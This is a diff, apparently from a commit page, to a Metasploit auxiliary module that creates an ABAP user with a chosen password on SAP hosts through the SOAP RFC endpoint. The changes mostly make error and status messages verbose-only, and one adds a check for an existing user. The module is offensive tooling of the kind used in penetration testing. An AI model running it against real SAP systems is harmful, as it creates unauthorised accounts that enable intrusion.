@@ -70,7 +70,7 @@ def run_host(ip)
70
70
data << '</env:Envelope>'
71
71
72
72
begin
73
- print_status ( "[SAP] #{ ip } :#{ rport } - Attempting to create user '#{ datastore [ 'ABAP_USER' ] } ' with password '#{ datastore [ 'ABAP_PASSWORD' ] } '" )
73
+ vprint_status ( "[SAP] #{ ip } :#{ rport } - Attempting to create user '#{ datastore [ 'ABAP_USER' ] } ' with password '#{ datastore [ 'ABAP_PASSWORD' ] } '" )
74
74
res = send_request_cgi ( {
75
75
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN' ,
76
76
'method' => 'POST' ,
@@ -85,25 +85,28 @@ def run_host(ip)
85
85
} )
86
86
if res and res . code == 200
87
87
if res . body =~ /<h1>Logon failed<\/ h1>/
88
- print_error ( "[SAP] #{ ip } :#{ rport } - Logon failed" )
88
+ vprint_error ( "[SAP] #{ ip } :#{ rport } - Logon failed" )
89
89
return
90
90
elsif res . body =~ /faultstring/
91
91
error = [ ]
92
92
error = [ res . body . scan ( %r{(.*?)} ) ]
93
- print_error ( "[SAP] #{ ip } :#{ rport } - #{ error . join . chomp } " )
93
+ vprint_error ( "[SAP] #{ ip } :#{ rport } - #{ error . join . chomp } " )
94
94
return
95
95
else
96
96
print_good ( "[SAP] #{ ip } :#{ rport } - User '#{ datastore [ 'ABAP_USER' ] } ' with password '#{ datastore [ 'ABAP_PASSWORD' ] } ' created" )
97
97
return
98
98
end
99
+ elsif res and res . code == 500 and res . body =~ /USER_ALLREADY_EXISTS/
100
+ vprint_error ( "[SAP] #{ ip } :#{ rport } - user already exists" )
101
+ return
99
102
else
100
- print_error ( "[SAP] #{ ip } :#{ rport } - Unknown error" )
101
- print_error ( "[SAP] #{ ip } :#{ rport } - Error code: " + res . code ) if res
102
- print_error ( "[SAP] #{ ip } :#{ rport } - Error message: " + res . message ) if res
103
+ vprint_error ( "[SAP] #{ ip } :#{ rport } - Unknown error" )
104
+ vprint_error ( "[SAP] #{ ip } :#{ rport } - Error code: " + res . code ) if res
105
+ vprint_error ( "[SAP] #{ ip } :#{ rport } - Error message: " + res . message ) if res
103
106
return
104
107
end
105
108
rescue ::Rex ::ConnectionError
106
- print_error ( "[SAP] #{ rhost } :#{ rport } - Unable to connect" )
109
+ vprint_error ( "[SAP] #{ rhost } :#{ rport } - Unable to connect" )
107
110
return
108
111
end
109
112
end
0 commit comments